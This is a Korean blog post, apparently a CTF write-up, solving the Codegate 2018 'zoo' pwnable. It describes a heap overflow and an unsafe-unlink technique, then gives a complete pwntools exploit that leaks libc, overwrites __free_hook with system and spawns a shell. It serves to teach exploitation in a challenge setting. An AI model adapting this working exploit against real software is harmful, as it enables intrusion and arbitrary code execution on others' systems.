ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2018 zoo
    Pwnable/CTF 2018. 2. 11. 02:05


    (feed)





    (takeWalk)




    취약점은 feed함수, takeWalk 함수에서 일어난다. 
    description 배열크기는 104크기인데 16byte오버플로우로 인해 다음 청크 prevsize,size를 덮을수있다. 
    이렇게 되면 생각나는게 대표적으로 여러기법이있겠지만 이번문제 함수기능들을 보면 unsafe unlink문제인것을 알수있다.
    takeWalk함수를 보면 기본적인 feed포인터라면 가지고있어야될 food,Medicine 문자열 포인터가 아닐때 입력을 받는다. 저곳을 hook으로 덮어서 입력을 하라는것을 보여주고있다!

    feed에서 오버플로우를 일으키기위해서는 protected변수가 1이여야되는데

    (takeAnimal함수)

    dung 포인터를 4개 free시키고 

    그리고 나서 allocate_dung - clean_dung + 25 % 25를 해준값이 4보다 큰지 확인을 한다.
    25%25 = 0이기때문에 allocate_dung - clean_dung카운터만 보면된다.
    아까 free한것으로 4개 그렇다면 우리가 이 함수가 실행되기전 dung이 9개 할당되있으면 protected가 1이될것이다.
    dung은 feed가 5개이상 할당했었어야되고 카운터가 짝수일때 할당이된다.



    문제를 푸는데 조금 오래걸렸는데 feed[1]부분에 next_clean_dung_count (아래 구조체)이있는것을 보지못했고, unlink부분을 착각하고있었다 .. 
    위 두개를 실수해가지고 unlink로 overlapping chunk를 만들어주고 unsorted bin으로 공격하는걸로 해서 어찌저찌 해서 포인터는 덮었는데 위 과정들로 인해 청크들이 이상해져가지고 풀지 못했다가 풀이를 참고하고 구조체중 변수 하나를 빼먹었다는것을 알고 익스를 갈아엎고 처음부터 다시 풀었다.

    clean_count로 0x81같이 큰 값을 주면 좋겠지만 count를 올려줄때 (clean_count+1)%25를 이용하기때문에 최대 24까지밖에 올라가지 못한다.

    unlink를 보면 prev_size, size비교하는곳이있는데 p->size = 0x8, prev_size를 구할때 p청크 size를 이용하여서 다음 청크를 얻고 size를 얻는데 p+0x8를 하면 p청크 사이즈가 나와서 0x8 == 0x8로 일치하기때문에 unlink가 가능해진다 !



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    animal {
        int OnOff
        char name[20]
        FEED *feed[20
        char* adopt 184
        DUNG* dung[25192
        int likes 392
        int take_walk_fed_count 396
        int allocate_feed_count 400
        int clean_dung_count 404
        int allocate_dung_count 408
        int ill_healthy 412
        int protected 416
    }
     
    FEED {
        char* type
        int64_t next_clean_dung_count
        char name[8]
        char description[104] 24
    }
     
    zoo {
    char name[100
    BYTE ?? 10
    int NameOnOff 12
    Animal *animal[516
     
     
    }
     
    cs


    구조체는 위와같다.




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    from pwn import *
     
    p=process('./zoo')
    elf=ELF('./zoo')
     
    def nameInput(name):
        p.sendlineafter('>> ',name)
     
    def adopt(type_,name):
        p.sendlineafter('>> ','1')
        p.sendlineafter('>> ',str(type_))
        p.sendlineafter('>> ',name)
     
    def feed(name):
        p.sendlineafter('>> ','2')
        nameInput(name)
     
    def clean(name):
        p.sendlineafter('>> ','3')
        nameInput(name)
     
    def takeWalk(name):
        p.sendlineafter('>> ','4')
        nameInput(name)
     
    def takeAnimal(name):
        p.sendlineafter('>> ','5')
        nameInput(name)
     
    def view(name):
        p.sendlineafter('>> ','6')
        nameInput(name)
     
    nameInput('aaaa'#zoo name
    adopt(1,'A'*20#0
    feed('A'*20)
    p.recvuntil('A'*20)
    heap = u64(p.recv(6)+'\x00\x00'- 0x8c0
    print hex(heap)
    p.recvline()
    name = 'AAAA' 
    adopt(1,name) #1
    for i in range(4):
        feed(name)
    for i in range(9):
        feed(name)
    for i in range(8):
        takeWalk(name)
    for i in range(10):
        feed(name)
    takeAnimal(name)
    for i in range(15):
        takeWalk(name)
    for i in range(10):
        clean(name)
    adopt(1,'BBBB'#2
    for i in range(20):
        feed('BBBB')
    for i in range(20):
        takeWalk('BBBB')    
    for i in range(8):
        clean('BBBB')
    feed('BBBB')
    feed('BBBB')
    feed('AAAA')
    p.sendlineafter('>> ','AAAA')
    p.sendlineafter('>> ','BBBB')
    for i in range(9):
        feed('AAAA'#padding
        p.sendlineafter('>> ','AAAA')
        p.sendlineafter('>> ','BBBB')
    takeWalk('BBBB')
    feed('AAAA')
    p.sendafter('>> ',p64(heap+0x280-0x18))
    p.sendafter('>> ',p64(heap+0x280-0x10)+'A'*96+p64(0x80)+p64(0x90))
    takeWalk('BBBB'#unlink
    takeWalk('AAAA')
     
    payload = p64(heap+0x280-0x18)
    payload += p64(0)*6
    payload += p64(heap+0x960#species ptr
    p.sendlineafter('>> ',payload)
    view('AAAA')
    p.recvuntil('Species : ')
    main_arena = u64(p.recv(6)+'\x00\x00'- 88
    malloc_hook = main_arena - 0x10
    libc_base = malloc_hook - 0x3c4b10
    free_hook = libc_base + 0x3c67a8
    system = libc_base + 0x45390
    one_shot = libc_base + 0xf1147
    print hex(main_arena)
    print 'Attack setting'
    takeWalk('AAAA')
    payload = p64(heap+0x280-0x18)
    payload += p64(heap+0xb90-0x18#next input
    payload += p64(free_hook-0x18#next next input
    payload += p64(0)*4
    payload += p64(heap+0x960#species ptr
    p.sendlineafter('>> ',payload)
    print 'Attack start'
    p.sendlineafter('>> ','/bin/sh\x00')
    p.sendlineafter('>> ',p64(system))
    takeWalk('AAAA')
     
     
    p.interactive()
     
    cs


    너무 많은 삽질로 공부가된 문제였다.-

    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2017 final petshop  (0) 2018.03.22
    Codegate 2015 final yocto  (0) 2018.02.21
    Codegate 2018 melong  (2) 2018.02.07
    코드게이트 2018 풀이 보고서  (0) 2018.02.07
    Codegate 2018 SuperFTP  (0) 2018.02.05
Designed by Tistory.